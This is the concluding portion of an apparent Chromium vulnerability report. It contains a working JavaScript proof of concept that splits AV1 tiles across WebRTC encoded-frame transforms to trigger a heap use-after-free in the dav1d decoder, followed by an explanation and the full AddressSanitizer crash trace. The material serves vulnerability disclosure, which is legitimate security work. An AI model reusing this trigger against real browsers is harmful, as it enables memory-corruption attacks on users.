return { nBytes: n, tile0Size, tile1Size };
}
}
return null;
}
self.onrtctransform = (event) => {
const transformer = event.transformer;
const reader = transformer.readable.getReader();
const writer = transformer.writable.getWriter();
async function process() {
while (true) {
const { value: frame, done } = await reader.read();
if (done) break;
frameCount++;
const data = new Uint8Array(frame.data);
if (state === 'WAITING_KEYFRAME') {
const obus = parseOBUs(data);
const seqIdx = obus.findIndex(o => o.type === 1);
const frameIdx = obus.findIndex(o => o.type === 6);
if (seqIdx === -1 || frameIdx === -1) {
// Not a keyframe, pass through to keep decoder alive
// (decoder needs keyframe first, so pass through non-keyframes too)
await writer.write(frame);
continue;
}
self.postMessage('Frame ' + frameCount + ': keyframe found, ' +
obus.length + ' OBUs, size=' + data.length);
const seqObu = obus[seqIdx];
const frameObu = obus[frameIdx];
const seqHdrBytes = data.slice(seqObu.offset, seqObu.offset + seqObu.totalSize);
// OBU_FRAME layout from OBU start:
// [0]: OBU header (1 byte)
// [1..1+sizeFieldLen]: leb128 size
// [payloadOffset..payloadOffset+~10]: frame header bits (byte-aligned)
// Then: tile header (1 byte after byte-alignment)
// Then: tile data
//
// From tracing: hdr_end_offset = 13 from OBU_FRAME start consistently
// This is: 1(hdr) + 2(leb128) + 10(frame_hdr_payload) = 13
// But leb128 can be different sizes. Let's compute properly:
const obuHdrAndSize = frameObu.headerSize + frameObu.sizeFieldLen;
// Frame header payload length varies. We know from tracing that for
// this encoder at 320x240, parse_frame_hdr consumes 10 bytes.
// But it could be different. Let's try the known offset first,
// then fall back to a scan.
const knownFrameHdrBytes = 10;
const tileHdrOffsetFromObuStart = obuHdrAndSize + knownFrameHdrBytes;
const tileDataOffsetFromObuStart = tileHdrOffsetFromObuStart + 1;
const tileHdrOffset = frameObu.offset + tileHdrOffsetFromObuStart;
const tileDataOffset = frameObu.offset + tileDataOffsetFromObuStart;
const tileDataEnd = frameObu.offset + frameObu.totalSize;
// Auto-detect n_bytes
const detected = detectNBytes(data, tileDataOffset, tileDataEnd);
if (!detected) {
self.postMessage('ERROR: Cannot detect tile sizes at offsets ' +
tileDataOffset + '-' + tileDataEnd + ', passing through');
await writer.write(frame);
state = 'DONE'; // Don't retry
continue;
}
const { nBytes, tile0Size, tile1Size } = detected;
const tile0DataStart = tileDataOffset + nBytes;
const tile0DataEnd = tile0DataStart + tile0Size;
const tile1DataStart = tile0DataEnd;
self.postMessage('Tile split: n_bytes=' + nBytes +
' tile0=' + tile0Size + 'B tile1=' + tile1Size + 'B' +
' obuHdrAndSize=' + obuHdrAndSize +
' tileHdr@' + tileHdrOffset + ' tileData@' + tileDataOffset);
// === BUILD CHUNK 1 ===
// SeqHdr + modified OBU_FRAME with only tile 0
const fhLen = tileHdrOffset - frameObu.payloadOffset; // frame header bytes
const framePayloadTile0 = new Uint8Array(
fhLen + 1 + nBytes + tile0Size // fh + tile_hdr + tile_size + tile0
);
// Copy frame header
framePayloadTile0.set(data.slice(frameObu.payloadOffset, tileHdrOffset), 0);
// New tile header: tile_start_and_end_present=1, start=0, end=0 = 0x80
framePayloadTile0[fhLen] = 0x80;
// Copy tile_size + tile 0 data
framePayloadTile0.set(
data.slice(tileDataOffset, tile0DataEnd),
fhLen + 1
);
const newFrameSize = encodeLeb128(framePayloadTile0.length);
const newFrameObu = new Uint8Array(1 + newFrameSize.length + framePayloadTile0.length);
newFrameObu[0] = 0x32; // type=6(FRAME), has_size=1
newFrameObu.set(newFrameSize, 1);
newFrameObu.set(framePayloadTile0, 1 + newFrameSize.length);
const chunk1 = new Uint8Array(seqHdrBytes.length + newFrameObu.length);
chunk1.set(seqHdrBytes, 0);
chunk1.set(newFrameObu, seqHdrBytes.length);
// === BUILD CHUNK 2 ===
// OBU_TILE_GRP with tile 1
// Tile header: flag=1, start=1, end=1 = 0xE0
const tileGrpPayload = new Uint8Array(1 + tile1Size);
tileGrpPayload[0] = 0xE0;
tileGrpPayload.set(data.slice(tile1DataStart, tileDataEnd), 1);
const tileGrpSize = encodeLeb128(tileGrpPayload.length);
const chunk2 = new Uint8Array(1 + tileGrpSize.length + tileGrpPayload.length);
chunk2[0] = 0x22; // type=4(TILE_GRP), has_size=1
chunk2.set(tileGrpSize, 1);
chunk2.set(tileGrpPayload, 1 + tileGrpSize.length);
self.postMessage('Chunk1: ' + chunk1.length + 'B, Chunk2: ' + chunk2.length + 'B');
// Send chunk 1
const buf1 = new ArrayBuffer(chunk1.length);
new Uint8Array(buf1).set(chunk1);
frame.data = buf1;
await writer.write(frame);
savedChunk2 = chunk2;
state = 'SEND_CHUNK2';
self.postMessage('Sent chunk1, waiting for next frame...');
continue;
}
if (state === 'SEND_CHUNK2') {
// After chunk1 caused decode error, WebRTC requests a new keyframe
// and drops all delta frames. We need to wait for the next keyframe
// (type === 'key') and replace IT with chunk2.
if (frame.type === 'key' && savedChunk2) {
const buf2 = new ArrayBuffer(savedChunk2.length);
new Uint8Array(buf2).set(savedChunk2);
frame.data = buf2;
await writer.write(frame);
self.postMessage('Sent chunk2 (' + savedChunk2.length +
'B) via keyframe slot (frame ' + frameCount + ') -> UAF should trigger');
savedChunk2 = null;
state = 'DONE';
} else {
// Drop delta frames (WebRTC will drop them anyway)
self.postMessage('Frame ' + frameCount + ' type=' + frame.type +
' while waiting for keyframe, dropping');
}
continue;
}
if (state === 'DONE') {
await writer.write(frame);
}
}
}
process().catch(e => self.postMessage('Transform error: ' + e));
};
`;
try {
const blob = new Blob([workerCode], { type: 'application/javascript' });
const workerUrl = URL.createObjectURL(blob);
const worker = new Worker(workerUrl);
worker.onmessage = (e) => log('[worker] ' + e.data);
worker.onerror = (e) => log('[worker-err] ' + e.message);
receiver.transform = new RTCRtpScriptTransform(worker, {});
log('[+] RTCRtpScriptTransform set on receiver');
} catch (e) {
log('[!] RTCRtpScriptTransform failed: ' + e.message);
// Fallback: try createEncodedStreams
try {
const streams = receiver.createEncodedStreams();
log('[+] createEncodedStreams succeeded (fallback)');
// TODO: implement fallback with same logic
} catch (e2) {
log('[!] No Encoded Transform API: ' + e2.message);
}
}
const video = document.createElement('video');
video.srcObject = new MediaStream([event.track]);
video.autoplay = true;
video.muted = true;
video.style.width = '320px';
document.body.appendChild(video);
};
// SDP exchange
log('[*] Creating offer...');
const offer = await pc1.createOffer();
const mungedOffer = { type: 'offer', sdp: preferAV1(offer.sdp) };
await pc1.setLocalDescription(mungedOffer);
await pc2.setRemoteDescription(mungedOffer);
const recvTransceiver = pc2.getTransceivers().find(
t => t.receiver.track.kind === 'video'
);
if (recvTransceiver && recvTransceiver.setCodecPreferences) {
const caps = RTCRtpReceiver.getCapabilities('video');
if (caps) {
const av1Codecs = caps.codecs.filter(c =>
c.mimeType.toLowerCase() === 'video/av1'
);
if (av1Codecs.length > 0) {
recvTransceiver.setCodecPreferences(av1Codecs);
log('[+] AV1 codec preference set on receiver');
}
}
}
const answer = await pc2.createAnswer();
const mungedAnswer = { type: 'answer', sdp: preferAV1(answer.sdp) };
await pc2.setLocalDescription(mungedAnswer);
await pc1.setRemoteDescription(mungedAnswer);
log('[+] WebRTC connection established');
// Wait for frames + UAF
log('[*] Waiting for keyframe and tile group split...');
await new Promise(r => setTimeout(r, 15000));
log('[*] PoC sequence complete. Check ASAN output.');
pc1.close();
pc2.close();
videoTrack.stop();
} catch (e) {
log('[!] Error: ' + e.name + ': ' + e.message);
log('[!] Stack: ' + e.stack);
}
}
window.addEventListener('load', () => setTimeout(runPoc, 500));
</script>
</body>
</html>
The PoC establishes a local WebRTC loopback connection negotiated with AV1. An RTCRtpScriptTransform on the receiver side intercepts the first AV1 keyframe, parses its OBU structure, and splits the 2-tile frame into two separate chunks. Chunk 1 (containing only tile 0) is delivered immediately, causing dav1d to save tile data pointers and return EAGAIN. The EncodedImageBuffer backing chunk 1 is freed when Decode() returns. Chunk 2 (containing tile 1) is injected via the next keyframe slot, completing the tile set inside dav1d, which then reads through the freed tile 0 pointer.
ASAN output:
=================================================================
==1753512==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ce75394b89a at pc 0x7fd7bad9ecf3 bp 0x7bd349bc5a80 sp 0x7bd349bc5a78
READ of size 1 at 0x7ce75394b89a thread T4 (ThreadPoolForeg)
#0 0x7fd7bad9ecf2 in dav1d_msac_init third_party/dav1d/libdav1d/src/msac.c:52:25
#1 0x7fd7bad61bee in dav1d_decode_frame_init_cdf third_party/dav1d/libdav1d/src/decode.c:2456:5
#2 0x7fd7bad64a54 in dav1d_decode_frame third_party/dav1d/libdav1d/src/decode.c:3290:21
#3 0x7fd7bad679f6 in dav1d_submit_frame third_party/dav1d/libdav1d/src/decode.c:3698:20
#4 0x7fd7bada29d2 in dav1d_parse_obus third_party/dav1d/libdav1d/src/obu.c:1682:24
#5 0x7fd7bad9b8bb in gen_picture third_party/dav1d/libdav1d/src/lib.c:418:31
#6 0x7fd7bad9b7bc in dav1d_send_data third_party/dav1d/libdav1d/src/lib.c:449:15
#7 0x7fd7b9ce08c7 in webrtc::(anonymous namespace)::Dav1dDecoder::Decode(webrtc::EncodedImage const&, long) third_party/webrtc/modules/video_coding/codecs/av1/dav1d_decoder.cc:173:24
#8 0x7fd7b8f96199 in webrtc::VCMGenericDecoder::Decode(webrtc::EncodedImage const&, webrtc::Timestamp, long, std::__Cr::optional<webrtc::FrameInstrumentationData> const&) third_party/webrtc/modules/video_coding/generic_decoder.cc:359:27
#9 0x7fd7b8fc7399 in webrtc::VideoReceiver2::Decode(webrtc::EncodedFrame const*) third_party/webrtc/modules/video_coding/video_receiver2.cc:91:19
#10 0x7fd7b904ed6f in webrtc::internal::VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>) third_party/webrtc/video/video_receive_stream2.cc:973:39
#11 0x7fd7b904e799 in webrtc::internal::VideoReceiveStream2::HandleEncodedFrameOnDecodeQueue(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>, bool, bool) third_party/webrtc/video/video_receive_stream2.cc:919:23
#12 0x7fd7b9051fa1 in void absl::internal_any_invocable::RemoteInvoker<false, void, webrtc::internal::VideoReceiveStream2::OnEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>)::$_0&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/video/video_receive_stream2.cc:830:32
#13 0x7fd7b84fa57b in blink::WebRtcTaskQueue::RunTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#14 0x7fd7b84fbcad in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WebRtcTaskQueue::*&&)(absl::AnyInvocable<void () &&>), blink::WebRtcTaskQueue*, absl::AnyInvocable<void () &&>&&>, base::internal::BindState<true, true, false, void (blink::WebRtcTaskQueue::*)(absl::AnyInvocable<void () &&>), base::internal::RetainedRefWrapper<blink::WebRtcTaskQueue>, absl::AnyInvocable<void () &&>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#15 0x7fd7d1f614f2 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#16 0x7fd7d202ab4b in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
#17 0x7fd7d202ad76 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:676:3
#18 0x7fd7d202939c in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:706:7
#19 0x7fd7d2028559 in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:394:5
#20 0x7fd7d204d493 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
#21 0x7fd7d204c6ae in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#22 0x7fd7d204c0c2 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#23 0x7fd7d20de6fc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#24 0x556a2fc0ae36 in asan_thread_start(void*) asan_interceptors.cpp
0x7ce75394b89a is located 26 bytes inside of 236-byte region [0x7ce75394b880,0x7ce75394b96c)
freed by thread T4 (ThreadPoolForeg) here:
#0 0x556a2fc4761d in operator delete[](void*) (/home/test/chromium/src/out/asan-release/chrome+0x684261d) (BuildId: 6bd3d63c01a5ac1d)
#1 0x7fd7b8588a71 in webrtc::RefCountedObject<webrtc::EncodedImageBuffer>::~RefCountedObject() gen/third_party/libc++/src/include/__memory/unique_ptr.h:88:5
#2 0x7fd7b8588989 in webrtc::RefCountedObject<webrtc::EncodedImageBuffer>::Release() const third_party/webrtc/rtc_base/ref_counted_object.h:42:7
#3 0x7fd7b85873e8 in webrtc::EncodedImage::~EncodedImage() third_party/webrtc/api/scoped_refptr.h:105:13
#4 0x7fd7b896fb81 in webrtc::RtpFrameObject::~RtpFrameObject() third_party/webrtc/api/video/encoded_frame.h:36:28
#5 0x7fd7b904f734 in webrtc::internal::VideoReceiveStream2::DecodeAndMaybeDispatchEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#6 0x7fd7b904e799 in webrtc::internal::VideoReceiveStream2::HandleEncodedFrameOnDecodeQueue(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>, bool, bool) third_party/webrtc/video/video_receive_stream2.cc:919:23
#7 0x7fd7b9051fa1 in void absl::internal_any_invocable::RemoteInvoker<false, void, webrtc::internal::VideoReceiveStream2::OnEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>)::$_0&&>(absl::internal_any_invocable::TypeErasedState*) third_party/webrtc/video/video_receive_stream2.cc:830:32
#8 0x7fd7b84fa57b in blink::WebRtcTaskQueue::RunTask(absl::AnyInvocable<void () &&>) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
#9 0x7fd7b84fbcad in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WebRtcTaskQueue::*&&)(absl::AnyInvocable<void () &&>), blink::WebRtcTaskQueue*, absl::AnyInvocable<void () &&>&&>, base::internal::BindState<true, true, false, void (blink::WebRtcTaskQueue::*)(absl::AnyInvocable<void () &&>), base::internal::RetainedRefWrapper<blink::WebRtcTaskQueue>, absl::AnyInvocable<void () &&>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#10 0x7fd7d1f614f2 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#11 0x7fd7d202ab4b in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
#12 0x7fd7d202ad76 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:676:3
#13 0x7fd7d202939c in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:706:7
#14 0x7fd7d2028559 in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:394:5
#15 0x7fd7d204d493 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
#16 0x7fd7d204c6ae in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#17 0x7fd7d204c0c2 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#18 0x7fd7d20de6fc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#19 0x556a2fc0ae36 in asan_thread_start(void*) asan_interceptors.cpp
previously allocated by thread T16 (DedicatedWorker) here:
#0 0x556a2fc46dfd in operator new[](unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x6841dfd) (BuildId: 6bd3d63c01a5ac1d)
#1 0x7fd7b858604e in webrtc::EncodedImageBuffer::Create(unsigned char const*, unsigned long) third_party/webrtc/rtc_base/buffer.h:409:31
#2 0x7fd7b89e1103 in webrtc::TransformableVideoReceiverFrame::SetData(webrtc::ArrayView<unsigned char const, -4711l>) third_party/webrtc/modules/rtp_rtcp/source/rtp_video_stream_receiver_frame_transformer_delegate.cc:63:9
#3 0x7fd7698edcbc in blink::RTCEncodedVideoFrameDelegate::SetData(blink::DOMArrayBuffer const*) third_party/blink/renderer/modules/peerconnection/rtc_encoded_video_frame_delegate.cc:86:20
#4 0x7fd7698eb6ef in blink::RTCEncodedVideoFrame::PassWebRtcFrame(v8::Isolate*, bool) third_party/blink/renderer/modules/peerconnection/rtc_encoded_video_frame.cc:330:14
#5 0x7fd7698f67b7 in blink::RTCEncodedVideoUnderlyingSink::write(blink::ScriptState*, blink::ScriptValue, blink::WritableStreamDefaultController*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_encoded_video_underlying_sink.cc:79:38
#6 0x7fd7698e2be5 in blink::RTCEncodedUnderlyingSinkWrapper::write(blink::ScriptState*, blink::ScriptValue, blink::WritableStreamDefaultController*, blink::ExceptionState&) third_party/blink/renderer/modules/peerconnection/rtc_encoded_underlying_sink_wrapper.cc:83:50
#7 0x7fd781bef6ff in blink::UnderlyingSinkWriteAlgorithm::Run(blink::ScriptState*, base::span<v8::Local<v8::Value>, 18446744073709551615ul, v8::Local<v8::Value>*>) third_party/blink/renderer/core/streams/underlying_sink_base.h:51:12
#8 0x7fd781c007bd in blink::WritableStreamDefaultController::AdvanceQueueIfNeeded(blink::ScriptState*, blink::WritableStreamDefaultController*) third_party/blink/renderer/core/streams/writable_stream_default_controller.cc:659:63
#9 0x7fd781c014d6 in blink::WritableStreamDefaultController::Write(blink::ScriptState*, blink::WritableStreamDefaultController*, v8::Local<v8::Value>, double, blink::ExceptionState&) third_party/blink/renderer/core/streams/writable_stream_default_controller.cc:473:3
#10 0x7fd781c0a749 in blink::WritableStreamDefaultWriter::Write(blink::ScriptState*, blink::WritableStreamDefaultWriter*, v8::Local<v8::Value>, blink::ExceptionState&) third_party/blink/renderer/core/streams/writable_stream_default_writer.cc:452:3
#11 0x7fd781c09a85 in blink::WritableStreamDefaultWriter::write(blink::ScriptState*, blink::ScriptValue, blink::ExceptionState&) third_party/blink/renderer/core/streams/writable_stream_default_writer.cc:280:10
#12 0x7fd783247717 in blink::(anonymous namespace)::v8_writable_stream_default_writer::WriteOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) gen/third_party/blink/renderer/bindings/core/v8/v8_writable_stream_default_writer.cc:311:32
SUMMARY: AddressSanitizer: heap-use-after-free third_party/dav1d/libdav1d/src/msac.c:52:25 in dav1d_msac_init
Shadow bytes around the buggy address:
0x7ce75394b600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7ce75394b680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7ce75394b700: fa fa fa fa fa fa f7 fa 00 00 00 00 00 00 00 00
0x7ce75394b780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ce75394b800: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa f7 fa
=>0x7ce75394b880: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
0x7ce75394b900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
0x7ce75394b980: fa fa fa fa fa fa f7 fa 00 00 00 00 00 00 00 00
0x7ce75394ba00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ce75394ba80: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa f7 fa
0x7ce75394bb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1753512==ADDITIONAL INFO
==1753512==Note: Please include this section with the ASan report.
Task trace:
#0 0x7fd7b904dcfe in webrtc::internal::VideoReceiveStream2::OnEncodedFrame(std::__Cr::unique_ptr<webrtc::EncodedFrame, std::__Cr::default_delete<webrtc::EncodedFrame>>) third_party/webrtc/video/video_receive_stream2.cc:823:18
#1 0x7fd7b89dfc2a in webrtc::RtpVideoStreamReceiverFrameTransformerDelegate::OnTransformedFrame(std::__Cr::unique_ptr<webrtc::TransformableFrameInterface, std::__Cr::default_delete<webrtc::TransformableFrameInterface>>) third_party/webrtc/modules/rtp_rtcp/source/rtp_video_stream_receiver_frame_transformer_delegate.cc:175:20
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==1753512==ABORTING
Credit
c6eed09fc8b174b0f3eebedcceb1e792